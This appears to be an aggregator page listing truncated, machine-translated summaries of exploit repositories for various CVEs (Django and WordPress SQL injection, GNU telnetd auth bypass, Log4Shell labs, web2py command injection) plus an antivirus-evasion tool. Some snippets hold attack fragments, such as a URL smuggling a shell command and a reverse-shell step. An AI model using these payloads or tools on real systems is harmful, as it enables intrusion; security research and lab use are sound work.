cve-2024-32651

cve-2024-32651 changedetection rce عبر ssti...

CVE-2021-40303

CVE-2021-40303 perfex crm 1.10 معرّض لثغرة تخزين البرمجة النصية عبر المواقع XSS عبر /clients/profile. poc: root@kitploit: POST /clients/profile HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 X11; Linux x8664; rv:78.0 Gecko/20100101 Firefox/78.0 Accept:...

CVE-2023-30212

CONFIGURACIÓN DEL LABORATORIO CVE-2023-30212 Prerrequisito Descargar docker.io sudo apt install -y docker.io PASOS 1. Descarga todos los archivos de mi repositorio usando el siguiente comando. git clone https://github.com/AAsh035/CVE-2023-30212.git 2. Ahora, para crear una imagen de Docker, ejecu...

CVE-2023-29809

शोषण शीर्षक: अनधिकृत SQL इंजेक्शन Google Dork: दिनांक: 27.04.2023 शोषण लेखक: Lucas Noki 0xPrototype विक्रेता होमपेज: https://github.com/vogtmh सॉफ्टवेयर लिंक: https://github.com/vogtmh/cmaps संस्करण: 8.0 परीक्षण किया गया: Mac, Windows, Linux CVE : CVE-2023-29809 विवरण: पाई गई कमजोरी एक SQL इंजेक्...

CVE-2026-24061

أداة الفحص الجماعي لثغرة CVE-2026-24061 ⚠️ ملاحظة : CVE-2026-24061 GNU Inetutils هي مجموعة أدوات شبكات كلاسيكية مقدمة من مشروع GNU، وتتضمن خدمة telnetd، أي البرنامج الخفي لخادم Telnet. في الإصدارات من 1.9.3 إلى 2.7، توجد عيوب قاتلة في عملية مصادقة المستخدم لخدمة telnetd. عند استدعاء برنامج تسجيل...

CVE-2021-35042

CVE-2021-35042 ثغرة حقن SQL في Django السؤال: استكشف مدى قابلية استغلالها؟ الجواب: أنا مرعوب التثبيت poetry install poetry run ./manage.py migrate poetry run ./manage.py loaddata dummydata.json عرض تفاعلي poetry run ./manage.py runserver الفرز حسب حقول عشوائية انتقل إلى...

Phantom-Evasion

PHANTOM EVASION 3.0 Phantom-Evasion est un outil d'évasion antivirus écrit en Python compatible avec Python 2 et Python 3 capable de générer un exécutable presque totalement indétectable même avec les payloads x86 msfvenom les plus courants. Les systèmes d'exploitation suivants prennent...

CVE-2025-43920

CVE-2025-43920：GNU Mailman 2.1.39（cPanel/WHM 捆绑版）中通过邮件主题实施的命令注入 发现者： Firudin Davudzada 与 Musazada Aydan 公开日期： 2025年4月 CVE ID： CVE-2025-43920 严重性： 5.4 中等 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N 攻击类型： 远程 受影响软件： GNU Mailman 2.1.39（捆绑于 cPanel/WHM） 概述 GNU Mailman 2.1.39 在随 cPanel 和 WHM...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly 미들웨어 API 원격 코드 실행 Hoverfly ≤ 1.11.3에서 OS 명령 주입을 통한 인증된 RCE 취약점 개요...

CVE-2026-19754

Baserow 2.3.3 contains a SQL injection vulnerability in the index formula function. A low-privileged authenticated user who can create or modify formula fields can provide an undocumented fourth argument that is treated as a SQL template and interpolated directly into a PostgreSQL expression. The...

CVE-2022-21661

CVE-2022-21661 1.مقدمة WordPress v4.1v5.8.2 WPQuery SQL Injection POC 2.الاستخدام root@kitploit: poc -h 192.168.1.1 // فحص فردي poc -f host.txt // فحص جماعي 3.إخلاء المسؤولية هذه الأداة مخصصة فقط للتعلم والبحث والاختبار الذاتي. لا ينبغي استخدامها لأغراض غير قانونية، يُرجى الالتزام بالقوانين...

CVE-2025-0054

CVE-2025-0054 – SAP NetWeaver स्टोर्ड XSS स्कैनर 🕷 SAP NetWeaver Application Server Java में स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग XSS कमजोरियों का पता लगाने के लिए एक हल्का Python टूल, जो विशेष रूप से CVE-2025-0054 को लक्षित करता है। ⚠️ केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए। बिना अनुमति के...

CVE-2026-24061-Telnetd

CVE-2026-24061 Contournement d'authentification Telnetd GNU Inetutils CVE : CVE-2026-24061 Sévérité : Critique CVSS : 9,8 Critique CWE : CWE-88 — Neutralisation inappropriée des délimiteurs d'arguments dans une commande Composant concerné : telnetd GNU Inetutils Versions concernées : 1.9.3 à 2.7...

CVE-2018-11235

CVE-2018-11235 البدء لبناء حاويات الدوكر، استخدم: root@kitploit: make docker يجب تشغيل أوامر make التالية بالتوازي على أجهزة طرفية مختلفة من جهازك لبدء تشغيل حاوية الخادم المهاجم، استخدم: root@kitploit: make runserver لبدء تشغيل الحاوية التي تمثل الضحية، استخدم: root@kitploit: make runclient ستقو...

CVE-2023-46805

CVE-2023-46805 स्कैनर CVE-2023-46805 स्कैनर Shodan का उपयोग करके देश-वार संभावित रूप से कमजोर Ivanti Connect Secure उपकरणों के लिए है। स्क्रिप्ट संस्करण: 1.3 हाल ही में Assetnote द्वारा प्रकाशित ब्लॉग पोस्ट के साथ अपडेट किया गया ⚠️ यह स्क्रिप्ट रक्षात्मक उद्देश्यों के लिए है और इसका उपयोग साइबर...

Log4Shell-CVE-2021-44228-ENV

Log4Shell प्रतिकृति वातावरण उदाहरण विवरण हमलाग्रस्त मशीन IP: 47.47.47.47 हमलावर मशीन IP: 48.48.48.48 हमलाग्रस्त मशीन पर कमजोरी Docker चलाएँ DockerFile का उपयोग करके Docker इमेज बनाएँ और चलाएँ: root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln हमलावर मशीन पर आक्रमण...

CVE-2023-45158

CVE-2023-45158 चरण 1. वेबसर्वर चलाएँ root@kitploit: cd web2py python3 web2py.py 2. अपना कमांड URL http://:8000/hack?msg=%27%3B%3B%27 का उपयोग करके इंजेक्ट करें। और को अपने मानों से बदलें। उदाहरण 1. सर्वर पर एक फ़ाइल बनाएँ http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. रिवर्स शेल हमलावर की मशीन...

CVE-2020-15778

CVE-2020-15778 परिचय यह रिपॉजिटरी CVE-2020-15778 को पुनरुत्पादित करता है। चरण 1. scp सर्वर और क्लाइंट के लिए डॉकर इमेज बनाएं root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. scp सर्वर को कंटेनर में चालू करें। root@kitploit: docker run ...

Zimbra10_SQL_Injection

इस रिपॉजिटरी में README नहीं है।...

CPanel-Audit-Remediation-Tool

🛡️ أداة تدقيق وإصلاح أوسكار كونستانزو CVE-2026-41940 مجموعة احترافية لتدقيق الأمن والاستجابة للحوادث لبنية cPanel التحتية. 📖 الوصف تم تطوير هذه الأداة بواسطة أوسكار كونستانزو كويزادا، المعروف باسم Underhost، لتحديد ومعالجة ثغرة CVE-2026-41940 في خوادم cPanel. تسمح هذه الثغرة بـتجاوز المصادقة عبر...